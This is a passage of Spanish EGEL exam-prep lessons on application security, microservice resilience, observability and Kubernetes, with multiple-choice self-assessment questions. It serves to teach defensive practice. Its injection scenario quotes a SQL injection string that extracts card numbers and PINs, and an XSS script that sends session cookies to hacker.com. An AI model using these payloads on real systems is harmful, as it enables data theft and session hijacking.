transmitir la cookie exclusivamente a través de canales cifrados HTTPS/TLS.\n  - `SameSite=Strict` o `Lax`: Defiende al usuario contra ataques de falsificación de peticiones en sitios cruzados (**CSRF**).\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Aplicación Móvil Bancaria y Almacenamiento de Tokens\n- **Problema:** Una aplicación móvil de banca personal se comunica con microservicios en la nube. El equipo debe decidir cómo gestionar las sesiones de los usuarios:\n  - Si se emite un JWT de acceso con expiración a 30 días, si el teléfono es robado, el atacante puede usar el token durante un mes sin que el banco pueda revocarlo (los JWT son autónomos y no consultan la base de datos).\n  - Si la sesión expira cada 5 minutos, el usuario se frustra al tener que ingresar su contraseña repetidamente.\n- **Decisión de Arquitectura de Seguridad:**\n  - Implementar el patrón de **Token de Acceso de Corta Vida (Short-lived Access Token: 10 minutos) + Token de Renovación con Rotación (Refresh Token con Rotación)**:\n    - El *Access Token* JWT se utiliza para firmar peticiones rápidas a los microservicios sin sobrecarga de base de datos.\n    - Cuando el Access Token expira, la app móvil utiliza el *Refresh Token* almacenado en el enclave seguro del teléfono (Keystore en Android / Keychain en iOS) para solicitar un nuevo par de tokens al Servidor de Autorización. Si se detecta un uso anómalo, el banco revoca el Refresh Token en su base de datos, cerrando la sesión de inmediato.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Creer que un token JWT cifra o esconde la información del Payload.**\n\u003e Un JWT estándar firmado con JWS **NO está cifrado**. El payload está simplemente codificado en **Base64Url**. Cualquier persona que intercepte un JWT puede decodificar el payload y leer todos los datos en texto plano. Por ello, **nunca deben almacenarse contraseñas, números de tarjeta de crédito ni datos médicos confidenciales dentro del payload de un JWT**.\n\n\u003e **Trampa 2: Usar funciones hash rápidas (como SHA-256) para almacenar contraseñas.**\n\u003e SHA-256 es un algoritmo diseñado para ser extremadamente veloz al verificar la integridad de archivos. Esa misma velocidad permite a un atacante calcular miles de millones de hashes por segundo en tarjetas gráficas (GPUs) comerciales para descifrar contraseñas por fuerza bruta. Las contraseñas deben almacenarse obligatoriamente con algoritmos lentos y costosos en memoria: **bcrypt, Argon2 o PBKDF2**.\n\n\u003e **Trampa 3: Asumir que OAuth 2.0 autentica usuarios por sí solo.**\n\u003e OAuth 2.0 es un marco de **autorización**, no de autenticación. Para autenticar formalmente identidades de usuarios con tokens de perfil estandarizados se requiere la capa **OpenID Connect (OIDC)**.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nAl realizar una prueba de penetración en una plataforma de gestión médica, un especialista en ciberseguridad ingresa al sistema como un paciente ordinario y modifica el valor numérico en el enlace del navegador de `https://hospital.com/paciente/expediente/1045` a `https://hospital.com/paciente/expediente/1046`. El servidor web responde entregando de inmediato el historial médico confidencial del paciente 1046 sin solicitar credenciales adicionales. ¿Qué categoría de vulnerabilidad del OWASP Top 10 se ha evidenciado en este incidente?\n- A) A03: Inyección SQL por concatenación de tablas.\n- B) A01: Pérdida de Control de Acceso (*Broken Access Control* / IDOR).\n- C) A02: Falla de Hardware en el Hipervisor de la máquina virtual.\n- D) A09: Ausencia de herramientas de compilación cruzada.\n\n### Pregunta 2\nAl diseñar el subsistema de seguridad para una nueva aplicación web de subastas, el equipo de desarrollo debe decidir el algoritmo para persistir las contraseñas de los usuarios en la base de datos relacional. Para mitigar eficazmente los ataques de descifrado por fuerza bruta y tablas arcoíris en caso de una filtración de la base de datos, ¿cuál es el mecanismo técnico correcto?\n- A) Cifrar las contraseñas con el algoritmo simétrico DES en modo ECB.\n- B) Aplicar un hash unidireccional rápido como MD5 o SHA-1 sin sal para optimizar los milisegundos de inicio de sesión.\n- C) Utilizar una función de derivación de claves deliberadamente lenta y adaptativa con sal (*Salt*) aleatoria por usuario, como **bcrypt** o **Argon2id**.\n- D) Almacenar las contraseñas en texto plano protegido por una contraseña maestra en el archivo `package.json`.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.5.7 de esta subárea).*\n","title":"3.5.3 Seguridad en aplicaciones de software: OWASP Top 10, OAuth 2.0 y tokens JWT"},{"children":[],"contentMd":"# Patrones de Resiliencia en Microservicios y los Tres Pilares de la Observabilidad\n\nEn sistemas distribuidos modernos que abarcan decenas o cientos de microservicios comunicados por red, la regla cardinal de la computación distribuida es:\n\u003e *\"Todo fallará con el tiempo. El diseño de software no consiste en evitar los fallos, sino en contenerlos, tolerarlos y recuperarse de ellos de forma transparente y predecible.\"*\n\nEn el examen EGEL de Ingeniería de Software, los reactivos evalúan la contención de fallas en cascada mediante el patrón **Circuit Breaker**, el diseño de políticas de reintento con retroceso exponencial (*Exponential Backoff con Jitter*), el aislamiento de recursos (*Bulkhead*) y la articulación de los **Tres Pilares de la Observabilidad** (Métricas, Logs Estructurados y Trazado Distribuido con OpenTelemetry).\n\n---\n\n## 1. El Riesgo de Fallas en Cascada (Cascading Failures)\n\nEn una cadena de llamadas síncronas entre microservicios:\n$$\\text{Servicio A (Frontend)} \\longrightarrow \\text{Servicio B (Órdenes)} \\longrightarrow \\text{Servicio C (Inventario)}$$\n\nSi el Servicio C experimenta un bloqueo en su base de datos y comienza a tardar 30 segundos por petición:\n1. Las peticiones en el Servicio B quedan congeladas esperando a C.\n2. Cada petición congelada retiene un hilo de ejecución en el pool de conexiones del servidor web del Servicio B.\n3. En pocos segundos, el Servicio B agota su pool de hilos y deja de responder a cualquier otro servicio, colapsando.\n4. El Servicio A, a su vez, agota sus hilos esperando a B, y finalmente la aplicación móvil completa muestra pantallas de error a todos los clientes.\n\nUn fallo local en un servicio secundario derribó toda la plataforma corporativa. Esto es una **Falla en Cascada**.\n\n---\n\n## 2. El Patrón Circuit Breaker (Interruptor de Circuito)\n\nDescrito formalmente por Michael Nygard en su obra *Release It!*, el patrón **Circuit Breaker** actúa de forma análoga a los disyuntores térmicos de la instalación eléctrica de un hogar: si detecta una sobrecarga o anomalía en el destino, **abre el circuito inmediatamente** para proteger la instalación y evitar que el fuego se propague.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        ESTADOS DEL CIRCUIT BREAKER                     │\n│                                                                        │\n│                      ┌─────────────────────────┐                       │\n│                      │                         │                       │\n│                      ▼                         │                       │\n│               ┌─────────────┐                  │                       │\n│               │   CLOSED    │ (Operación normal; peticiones fluyen)    │\n│               └──────┬──────┘                  │                       │\n│                      │                         │                       │\n│          Umbral de fallos superado             │                       │\n│          (ej. \u003e 50% errores en 10 seg)         │ Éxito en pruebas      │\n│                      │                         │ continuadas           │\n│                      ▼                         │                       │\n│               ┌─────────────┐                  │                       │\n│               │    OPEN     │ (Falla rápido: RECHAZA de inmediato)     │\n│               └──────┬──────┘                  │                       │\n│                      │                         │                       │\n│          Ventana de enfriamiento cumplida      │                       │\n│          (Sleep window, ej. tras 30 segundos)  │                       │\n│                      │                         │                       │\n│                      ▼                         │                       │\n│               ┌─────────────┐                  │                       │\n│               │  HALF-OPEN  │──────────────────┘                       │\n│               └─────────────┘ (Deja pasar N peticiones de prueba)      │\n│                      │                                                 │\n│                      └── Si alguna prueba falla ──▶ Vuelve a OPEN      │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Máquina de Estados del Circuit Breaker\n\n| Estado | Comportamiento con el Tráfico | Transición al Siguiente Estado | Manejo de Respuesta al Cliente |\n| :--- | :--- | :--- | :--- |\n| **CLOSED (Cerrado)** | Todas las peticiones fluyen normalmente hacia el servicio remoto. Se monitoriza la tasa de fallos en una ventana deslizante de tiempo. | Si el porcentaje de fallos supera el umbral configurado (ej. 50% de timeouts), el interruptor **salta al estado OPEN**. | Retorna la respuesta real generada por el servicio dependiente. |\n| **OPEN (Abierto)** | **No se envía ninguna petición a la red.** Todas las solicitudes se rechazan instantáneamente en el origen (*Fail-Fast*). | Tras expirar un temporizador de enfriamiento (*Sleep Window*, ej. 30 segundos), transiciona al estado **HALF-OPEN**. | Ejecuta inmediatamente una lógica de contingencia (*Fallback*) o devuelve un error controlado sin latencia. |\n| **HALF-OPEN (Semi-Abierto)** | Permite que una cantidad controlada y pequeña de peticiones de prueba (ej. 5 solicitudes) viajen hacia el servicio dependiente para verificar si ya se recuperó. | - Si **todas las peticiones de prueba tienen éxito**, el circuito asume recuperación y transiciona a **CLOSED**.\u003cbr\u003e- Si **alguna petición falla**, el circuito regresa de inmediato a **OPEN** por otro ciclo de enfriamiento. | Retorna el resultado de las peticiones de prueba a los usuarios seleccionados. |\n\n---\n\n## 3. Otros Patrones Clave de Resiliencia\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        PATRONES CLAVE DE RESILIENCIA                   │\n│                                                                        │\n│   A. RETRY CON EXPONENTIAL BACKOFF Y JITTER:                           │\n│      • Intento 1: Espera 100 ms + random                               │\n│      • Intento 2: Espera 200 ms + random                               │\n│      • Intento 3: Espera 400 ms + random                               │\n│      ¡El Jitter (ruido aleatorio) evita la colisión síncrona!          │\n│                                                                        │\n│   B. BULKHEAD (Mamparos de Barco):                                     │\n│      Aislar los pools de hilos de la aplicación por cada servicio.     │\n│      Si el pool del 'Servicio de Reportes' se agota, el pool del       │\n│      'Servicio de Pagos' sigue 100% libre e intacto.                   │\n│                                                                        │\n│   C. RATE LIMITING (Limitación de Tasa):                               │\n│      Algoritmos Token Bucket / Leaky Bucket para limitar el tráfico a  │\n│      un máximo seguro (ej. 100 req/s por cliente).                     │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 4. Los Tres Pilares de la Observabilidad\n\nEn arquitecturas distribuidas complejas, monitorear si un servidor \"está encendido\" (monitoreo pasivo) es insuficiente. La **observabilidad** es la capacidad de inferir los estados internos de un sistema complejo basándose exclusivamente en sus salidas externas. Se sustenta en tres pilares:\n\n```\n                                  OBSERVABILIDAD\n                                        │\n     ┌──────────────────┬───────────────┴───────────────┬──────────────────┐\n     ▼                  ▼                               ▼                  ▼\n  MÉTRICAS           LOGS ESTRUCTURADOS             TRAZADO DISTRIBUIDO\n• Números en el tiempo• JSON con metadatos contextuales• OpenTelemetry / W3C Trace\n• Contadores/Histogram• trace_id y span_id correlac.  • Sigue la ruta transversal\n• RED: Rate, Err, Dur • ELK / Loki                    • Jaeger / Zipkin\n```\n\n### Matriz Comparativa de los Tres Pilares\n\n| Pilar | Naturaleza del Dato | Estructura Técnica | Herramientas Estándar | Propósito Principal en Diagnóstico |\n| :--- | :--- | :--- | :--- | :--- |\n| **Métricas** | Valores numéricos medibles agregados a lo largo de intervalos temporales regulares. | Series temporales con etiquetas (*labels*): `http_requests_total{status=\"500\", method=\"POST\"}`. | **Prometheus, Grafana, Datadog**. | **Detección temprana y alertas:** Responde a la pregunta *\"¿Algo anda mal en el sistema ahora mismo?\"* (picos de latencia, consumo de CPU, tasa de errores). |\n| **Logs Estructurados** | Registro textual discreto de eventos individuales ocurridos en una línea de tiempo. | Objetos JSON enriquecidos: `{\"timestamp\": \"...\", \"level\": \"ERROR\", \"trace_id\": \"a1b2\", \"msg\": \"Fallo en pago\"}`. | **ELK Stack (Elasticsearch, Logstash, Kibana), Grafana Loki**. | **Análisis de causa raíz:** Responde a la pregunta *\"¿Qué ocurrió exactamente y cuál fue la excepción arrojada?\"*. |\n| **Trazado Distribuido (Distributed Tracing)** | Mapa cronológico que sigue el recorrido de una única petición transversal a través de múltiples microservicios independientes. | Estructura de árbol de **Spans** vinculados por un identificador unificado común (**Trace ID**). | **Jaeger, Zipkin, AWS X-Ray, OpenTelemetry**. | **Localización de cuellos de botella:** Responde a la pregunta *\"¿En cuál de los 15 microservicios se perdieron los 4 segundos de latencia de esta compra?\"*. |\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Pasarela de E-Commerce con Proveedor de Recomendaciones Inestable\n- **Problema:** La página de checkout invoca un servicio externo de machine learning para mostrar \"Productos que también podrían gustarte\". El servicio externo sufre caídas intermitentes que tardan 15 segundos en expirar por timeout, haciendo que la página de compra completa tarde 16 segundos en cargar.\n- **Decisión Técnica:** Implementar un **Circuit Breaker con Fallback**:\n  - Se configura el Circuit Breaker con un timeout estricto de 500 ms.\n  - Si el servicio de recomendaciones comienza a fallar, el circuito se abre de inmediato (*State OPEN*).\n  - Al abrirse, ejecuta la función de contingencia (**Fallback**): retorna una lista estática predeterminada de los 5 productos más vendidos almacenada en caché local.\n- **Resultado:** Los usuarios completan sus compras en **120 milisegundos** sin percibir ninguna falla; el negocio sigue vendiendo y el servicio externo se recupera sin sobrecarga.\n\n### Escenario B: Depuración de Transacciones Lentas en Malla de 40 Microservicios\n- **Problema:** Un cliente reporta que presionar \"Confirmar Préstamo\" tardó 8 segundos en la app móvil. El frontend invoca al Gateway, el Gateway a 6 servicios intermedios, y estos a 4 bases de datos. Los logs individuales de cada servidor muestran miles de líneas simultáneas, siendo imposible saber qué mensaje corresponde a qué cliente.\n- **Decisión Técnica:** Adoptar **Trazado Distribuido con OpenTelemetry**:\n  - En el API Gateway, se genera un encabezado estándar `traceparent` con un **Trace ID único** (ej. `trace-7f89b`).\n  - Cada microservicio propaga este encabezado en sus llamadas HTTP salientes y lo inyecta automáticamente en sus logs estructurados.\n  - Al ingresar el Trace ID en la interfaz de **Jaeger**, los ingenieros visualizan una gráfica de Gantt horizontal que muestra exactamente los milisegundos consumidos por cada microservicio, identificando que el *Servicio de Buró de Crédito* consumió 7.6 segundos esperando un socket de red.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir el estado OPEN con el estado CLOSED en un Circuit Breaker.**\n\u003e - En un circuito eléctrico, \"cerrado\" significa que la corriente fluye. En software es idéntico: **CLOSED** es el estado **normal y saludable** (las peticiones fluyen al servicio remoto).\n\u003e - **OPEN** es el estado de **alerta/corte** (las peticiones se rechazan inmediatamente para proteger el sistema).\n\n\u003e **Trampa 2: Aplicar reintentos (Retries) sin límite sobre un servicio caído.**\n\u003e Si un servicio remoto colapsó por saturación de CPU, que cientos de microservicios clientes comiencen a reintentar agresivamente cada petición cada 100 ms provocará una **tormenta de reintentos (*Retry Storm*)**, garantizando que el servicio caído jamás pueda recuperarse. Los reintentos deben limitarse (máximo 3), aplicar **Exponential Backoff con Jitter** y estar gobernados por un Circuit Breaker.\n\n\u003e **Trampa 3: Creer que los Logs tradicionales en texto plano son suficientes para microservicios.**\n\u003e Logs no estructurados (archivos `.log` con líneas libres de texto plano escritas en el disco local de cada contenedor) son inútiles en clústeres efímeros de Kubernetes donde los pods se destruyen constantemente. Se requieren **logs estructurados en JSON enviados a un agregador centralizado** con correlación de Trace IDs.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nEn una arquitectura de microservicios bancarios, el *Servicio de Transferencias* invoca al *Servicio de Validación de Fondos*. Tras una caída imprevista de la base de datos de fondos, el 80% de las peticiones comienzan a fallar con error de tiempo de espera (*timeout*). El sistema de protección detecta esta tasa de fallos y conmuta automáticamente su estado para rechazar de forma inmediata en el origen (*Fail-Fast*) cualquier nueva solicitud de transferencia durante los siguientes 30 segundos, sin enviar ningún paquete a la red. ¿En qué estado formal se encuentra el patrón de diseño implementado?\n- A) Estado CLOSED del patrón Circuit Breaker.\n- B) Estado OPEN del patrón Circuit Breaker.\n- C) Estado HALF-OPEN del patrón Bulkhead.\n- D) Estado de Concurrencia Optimista.\n\n### Pregunta 2\nDurante la investigación de un incidente en una plataforma de viajes compuesta por 25 microservicios desacoplados, los ingenieros necesitan rastrear el flujo completo de una reserva de hotel específica que tardó más de 12 segundos en procesarse, correlacionando el tiempo invertido en cada salto de red entre los servicios involucrados. ¿Cuál es el pilar de la observabilidad y la tecnología específica requerida para este diagnóstico?\n- A) Métricas numéricas de uso de CPU recolectadas por Prometheus.\n- B) Trazado Distribuido (*Distributed Tracing*) mediante propagación de identificadores de traza (*Trace ID / Span ID*) visualizado con herramientas como Jaeger o Zipkin.\n- C) Archivos de registro locales almacenados en el disco del balanceador de carga.\n- D) Inspección del archivo `pom.xml` con Apache Maven.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.5.7 de esta subárea).*\n","title":"3.5.4 Patrones de resiliencia en microservicios y los tres pilares de la observabilidad"},{"children":[],"contentMd":"# Escenarios Profesionales de Decisión en Plataformas de Ejecución, Seguridad y Nube\n\nEn las organizaciones de software avanzadas y en las preguntas integradoras de nivel superior del EGEL de CENEVAL, los ingenieros deben articular simultáneamente las decisiones de empaquetado y orquestación (Docker, Kubernetes), los modelos de servicio en la nube (IaaS, PaaS, Serverless), las compuertas de seguridad estricta (OWASP Top 10, OAuth 2.0, JWT) y la resiliencia operativa distribuida (Circuit Breakers, observabilidad).\n\nEsta lección analiza cuatro macro-escenarios profesionales donde convergen todas estas disciplinas.\n\n---\n\n## 1. Escenario 1: Migración de Monolito Físico a Microservicios en Kubernetes con Gobernanza de Recursos\n\n### Contexto y Restricciones\n- **Dominio:** Plataforma de seguros médicos que migra 12 aplicaciones monolíticas hacia un clúster de Kubernetes en la nube pública.\n- **Incidente diagnosticado en las primeras semanas:**\n  - El contenedor de un microservicio de generación masiva de reportes en PDF sufrió una fuga de memoria, consumiendo el 100% de la memoria RAM del nodo físico anfitrión de Kubernetes.\n  - El sistema operativo Linux activó el mecanismo del *OOM Killer*, matando no solo al microservicio causante, sino también a los contenedores críticos del *Servicio de Pagos* y del *Servicio de Urgencias* que residían en el mismo nodo, provocando una caída generalizada del hospital.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   GOBERNANZA DE RECURSOS EN KUBERNETES                 │\n│                                                                        │\n│   Sin límites (Peligro):                                               │\n│   [ Pod Reportes (Fuga de RAM: 32 GB) ] ──▶ Mata a todos los vecinos   │\n│                                                                        │\n│   Con Límites y Solicitudes (Aislamiento Robusto):                     │\n│   resources:                                                           │\n│     requests:          # Lo que K8s reserva para planificar el Pod     │\n│       cpu: \"250m\"      # 0.25 núcleos garantizados                     │\n│       memory: \"512Mi\"  # 512 MB de RAM garantizados                    │\n│     limits:            # El techo máximo inquebrantable                │\n│       cpu: \"1000m\"     # 1 núcleo máximo (K8s aplica throttling si se  │\n│       memory: \"2Gi\"    # supera, pero NO mata el Pod)                  │\n│                        # ¡Si supera 2Gi de RAM, K8s mata SOLO a este   │\n│                        # contenedor (OOMKilled) sin tocar a los demás! │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Decisión de Ingeniería Justificada\n- **Acciones Correctivas:**\n  1. **Configurar `resources.requests` y `resources.limits` obligatorios** en los manifiestos de todos los Deployments mediante una política de admisión (*LimitRange* o *ResourceQuota* a nivel de Namespace).\n  2. **Aislar cargas pesadas mediante *Node Affinity / Taints and Tolerations*:** Los servicios de generación batch de PDFs se programan para ejecutarse en nodos de cómputo dedicados y separados de los servicios transaccionales de alta disponibilidad.\n  3. **Protección de Red mediante *NetworkPolicies*:** Se bloquea el tráfico horizontal no autorizado (un pod de reportes no puede enviar paquetes directos a la base de datos de pagos; solo el microservicio de pagos tiene acceso a su puerto 5432).\n\n---\n\n## 2. Escenario 2: Arquitectura de Autenticación y Autorización en Fintech con App Móvil y Web SPA\n\n### Contexto y Restricciones\n- **Dominio:** Neobanco digital que ofrece servicios a través de una aplicación móvil en Flutter (iOS/Android) y una aplicación web interactiva de página única (SPA en React).\n- **Vulnerabilidad detectada en auditoría:**\n  - Los desarrolladores habían implementado el flujo clásico de OAuth 2.0 *Implicit Flow* o guardaban el `client_secret` codificado dentro del código JavaScript del navegador y en el binario APK de la app móvil. Cualquier usuario con herramientas de inspección web o descompiladores APK podía extraer el secreto institucional y suplantar al banco.\n\n### Arquitectura de Seguridad Implementada\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│               ARQUITECTURA DE AUTORIZACIÓN FINTECH SEGURA              │\n│                                                                        │\n│   App Móvil / SPA (Cliente Público)     Servidor de Autorización (IdP) │\n│          │                                          │                  │\n│          ├── 1. Inicia login con code_challenge ───▶│ (Calcula SHA-256)│\n│          │   (Flujo Authorization Code + PKCE)      │                  │\n│          │                                          │                  │\n│          │◀── 2. Retorna Authorization Code ────────┤                  │\n│          │                                          │                  │\n│          ├── 3. Envía Code + code_verifier secreto ─▶│ (Verifica PKCE)  │\n│          │                                          │                  │\n│          │◀── 4. Emite par de tokens ───────────────┤                  │\n│          │       • Access Token JWT (10 min)        │                  │\n│          │       • Refresh Token seguro             │                  │\n│          │                                          │                  │\n│   • En Web SPA: Almacenar tokens en Cookies HttpOnly, Secure, SameSite │\n│   • En App Móvil: Almacenar Refresh Token en Enclave Seguro (Keychain) │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Decisión Técnica:** **Migrar a OAuth 2.0 con Flujo de Código de Autorización con PKCE (Proof Key for Code Exchange)**:\n  - Elimina por completo la necesidad de almacenar un `client_secret` estático en aplicaciones cliente públicas (móviles y SPAs).\n  - El cliente genera un secreto efímero criptográfico (`code_verifier`) único para cada intento de inicio de sesión, garantizando que un atacante que intercepte el código de autorización en el dispositivo no pueda canjearlo por tokens de acceso.\n\n---\n\n## 3. Escenario 3: Blindaje ante Inyecciones y Fuga de Información en Portal Ciudadano\n\n### Contexto y Restricciones\n- **Dominio:** Portal gubernamental de registro de actas y pagos de derechos estatales.\n- **Incidentes reportados:**\n  1. *Falla 1:* En el buscador de actas por apellido, un usuario tecleó `' UNION SELECT numero_tarjeta, nip, 1 FROM pagos --` y la pantalla mostró números de tarjeta bancaria de los ciudadanos en la tabla de resultados.\n  2. *Falla 2:* En el foro de comentarios ciudadanos, un usuario ingresó `\u003cscript\u003efetch('https://hacker.com/steal?cookie=' + document.cookie)\u003c/script\u003e`; cada funcionario que abría el foro ejecutaba el script y enviaba su sesión al atacante.\n\n### Plan de Blindaje Técnico\n1. **Contra SQL Injection (Falla 1):**\n   - Eliminar de inmediato toda concatenación de cadenas en las consultas del repositorio.\n   - Forzar el uso exclusivo de **Consultas Parametrizadas (*Prepared Statements*)** o métodos del ORM donde los parámetros de búsqueda se transmiten como valores atómicos literales.\n2. **Contra Cross-Site Scripting (Falla 2):**\n   - Implementar **escapeo de salida (*Output Encoding*)** en el motor de plantillas frontend para transformar caracteres peligrosos (`\u003c` en `\u0026lt;`, `\u003e` en `\u0026gt;`).\n   - Configurar el encabezado HTTP de seguridad **Content Security Policy (CSP)**:\n     `Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';`\n     lo que instruye al navegador a rechazar terminantemente la ejecución de scripts en línea (*inline scripts*) o conexiones hacia dominios desconocidos.\n   - Migrar las cookies de sesión al atributo **`HttpOnly`**, impidiendo que JavaScript pueda leerlas aun si existiera una falla de XSS residual.\n\n---\n\n## 4. Escenario 4: Arquitectura de Resiliencia para Evento Comercial de Alta Demanda (Hot Sale)\n\n### Contexto y Restricciones\n- **Dominio:** Tienda minorista en línea con 5 millones de visitas esperadas durante una jornada de 24 horas.\n- **Riesgo:** La pasarela bancaria externa suele ralentizarse ante ráfagas masivas, incrementando su tiempo de respuesta de 300 ms a 12 segundos. Si el sistema no se aísla, el servidor web colapsará por hilos bloqueados.\n\n### Arquitectura de Resiliencia Desplegada\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        ARQUITECTURA DE RESILIENCIA                     │\n│                                                                        │\n│   Clientes Web/Móvil                                                   │\n│          │                                                             │\n│          ▼                                                             │\n│   [ API GATEWAY ] ──▶ Rate Limiter: Máximo 30 peticiones/minuto por IP │\n│          │                                                             │\n│          ▼                                                             │\n│   [ MICROSERVICIO DE CHECKOUT ]                                        │\n│          │                                                             │\n│          ├── Pool de Hilos A (Bulkhead: Pagos locales) ──▶ Seguro      │\n│          │                                                             │\n│          └── Pool de Hilos B ──▶ [ CIRCUIT BREAKER ]                   │\n│                                           │ (Timeout: 1.5 seg)         │\n│                                           ▼                            │\n│                                 [ Pasarela Bancaria Externa ]          │\n│                                 (Si falla \u003e40% ──▶ Abre Circuito)      │\n│                                           │                            │\n│                                           ▼                            │\n│                                 [ Lógica de Fallback ]                 │\n│                                 Encola orden en cola diferida          │\n│                                 y avisa al cliente: \"Pago en proceso\"  │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Decisión Técnica:**\n  - **Rate Limiting:** Protege el sistema contra bots y ataques de denegación de servicio.\n  - **Bulkhead:** El agotamiento de conexiones en pagos no afecta la navegación de productos ni la autenticación.\n  - **Circuit Breaker con Fallback:** Si la pasarela bancaria colapsa, el circuito se abre; la orden se guarda en una cola transaccional en RabbitMQ y se le indica al usuario que su pago se procesará en diferido, manteniendo la conversión de ventas sin caídas de servidor.\n  - **Auto-escalado Horizontal de Pods (HPA en Kubernetes):** Escala automáticamente los pods de 5 a 60 réplicas basándose en la utilización de CPU y métricas de peticiones por segundo.\n\n---\n\n## 5. Cuadro Comparativo de Decisiones de Plataforma y Seguridad\n\n| Desafío Técnico | Decisión Óptima de Ingeniería | Antipatrón que Causa Fracaso |\n| :--- | :--- | :--- |\n| **Aislamiento de contenedores en K8s** | Definir `requests` y `limits` de memoria/CPU por Pod. | Dejar límites abiertos (un solo pod con fuga de RAM mata a todo el nodo físico). |\n| **Autenticación en Apps Móviles / SPAs** | OAuth 2.0 con **Authorization Code + PKCE**. | Usar Implicit Flow o quemar el `client_secret` en el código JavaScript/móvil. |\n| **Prevención de Inyección SQL** | **Prepared Statements** / Consultas Parametrizadas. | Concatenar texto libre del usuario en sentencias SQL dinámicas. |\n| **Protección contra robo de sesión por XSS** | Cookies de sesión con atributo **`HttpOnly` + `Secure`**. | Almacenar Access Tokens en `localStorage` o `sessionStorage`. |\n| **Tolerancia a dependencias lentas** | **Circuit Breaker con Fallback** + Bulkheads. | Reintentos agresivos síncronos continuos (*Retry Storm*). |\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Pregunta 1\nUna institución educativa implementa un clúster de Kubernetes para alojar su campus virtual. Durante el periodo de exámenes finales, un microservicio de simulación química mal programado comienza a consumir memoria RAM de forma desenfrenada hasta agotar la memoria del servidor anfitrión, provocando que el kernel mate los contenedores del sistema de autenticación de alumnos que compartían el mismo nodo. ¿Qué mecanismo declarativo de configuración de Kubernetes previene de raíz este comportamiento destructivo?\n- A) Aumentar el tamaño del archivo `.git` en el repositorio central.\n- B) Especificar formalmente los bloques `resources.requests` y `resources.limits` de memoria y CPU en el manifiesto del Deployment, permitiendo que Kubernetes aplique límites máximos y mate exclusivamente al pod infractor que exceda su techo asignado.\n- C) Desactivar las sondas de liveness y readiness en todos los pods.\n- D) Migrar los contenedores a imágenes Docker que se ejecuten con usuario `root`.\n\n### Pregunta 2\nAl desarrollar una aplicación web de banca en línea basada en una arquitectura Single Page Application (SPA), el arquitecto de seguridad debe seleccionar el flujo de concesión de OAuth 2.0 y el mecanismo de almacenamiento de tokens que proporcione la máxima protección contra la extracción de credenciales y ataques de Cross-Site Scripting (XSS). ¿Cuál es la combinación arquitectónica de seguridad recomendada por las directrices internacionales de OAuth y OWASP?\n- A) Flujo de Contraseña de Propietario del Recurso (*Resource Owner Password Credentials*) almacenando el token en `sessionStorage`.\n- B) Flujo de Código de Autorización con clave de intercambio PKCE (*Authorization Code with PKCE*), almacenando el token de sesión en una Cookie configurada con los atributos `HttpOnly`, `Secure` y `SameSite`.\n- C) Flujo Implícito (*Implicit Grant*) almacenando el token en variables globales de JavaScript expuestas en la consola.\n- D) Desactivar la autenticación y confiar en la dirección IP pública del cliente.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.5.7 de esta subárea).*\n","title":"3.5.5 Escenarios profesionales de decisión en plataformas de ejecución, seguridad y nube"},{"children":[],"contentMd":"# Repaso Integral y Síntesis de la Subárea 3.5: Plataformas de Desarrollo y Arquitecturas de Ejecución\n\nLa Subárea 3.5 aporta **20 reactivos** al examen EGEL de Ingeniería de Software. En esta sección final del Bloque 3 confluyen los entornos de ejecución y las plataformas operativas donde vive el software en producción: la virtualización ligera en contenedores (Docker y Kubernetes), los modelos de servicio en la nube (IaaS, PaaS, SaaS, Serverless), el blindaje de seguridad contra el OWASP Top 10 con OAuth 2.0 y JWT, y los patrones de resiliencia y observabilidad distribuida.\n\n---\n\n## 1. Mapa Conceptual de Alta Frecuencia EGEL\n\n```\n              PLATAFORMAS, SEGURIDAD Y ARQUITECTURAS DE EJECUCIÓN (20 Reactivos)\n                                        │\n     ┌──────────────────┬───────────────┴───────────────┬──────────────────┐\n     ▼                  ▼                               ▼                  ▼\nDocker y Kubernetes  Computación en la Nube        Seguridad y OWASP     Resiliencia y Observ.\n• VMs vs Contenedores• NIST 5 atributos            • A01 Broken Access   • Circuit Breaker\n• Multi-Stage Builds • IaaS vs PaaS vs FaaS        • A02 Cripto / bcrypt • Backoff con Jitter\n• Pods / Deployments • Resp. Compartida            • A03 SQLi (Prepared) • Bulkheads y Mamparos\n• ClusterIP / Probes • Híbrida vs Multi-Cloud      • OAuth 2.0 (PKCE)/JWT• 3 Pilares Observab.\n```\n\n---\n\n## 2. Tablas Maestras de Decisión Rápida\n\n### A. Virtualización en Contenedores y Kubernetes\n\n| Concepto | Principio / Definición Clave | Regla de Oro para el Examen |\n| :--- | :--- | :--- |\n| **VM vs Contenedor** | Las VMs virtualizan hardware con un hipervisor y un OS huésped completo; los contenedores comparten el **mismo kernel** del OS anfitrión (aislados por *namespaces* y *cgroups*). | Los contenedores son órdenes de magnitud más ligeros y arrancan en milisegundos. |\n| **Multi-Stage Build** | Separar la etapa de compilación (con SDKs pesados) de la etapa de ejecución final (runtime mínimo Alpine/Distroless). | Produce imágenes de pocos megabytes y reduce la superficie de ataque en producción. |\n| **Pod** | Unidad atómica mínima de Kubernetes; efímero y con IP mutable. | No conectar microservicios a la IP de un Pod; conectarlos al nombre DNS del **Service**. |\n| **Service ClusterIP** | Asigna una IP virtual interna estable con balanceo de carga para comunicación dentro del 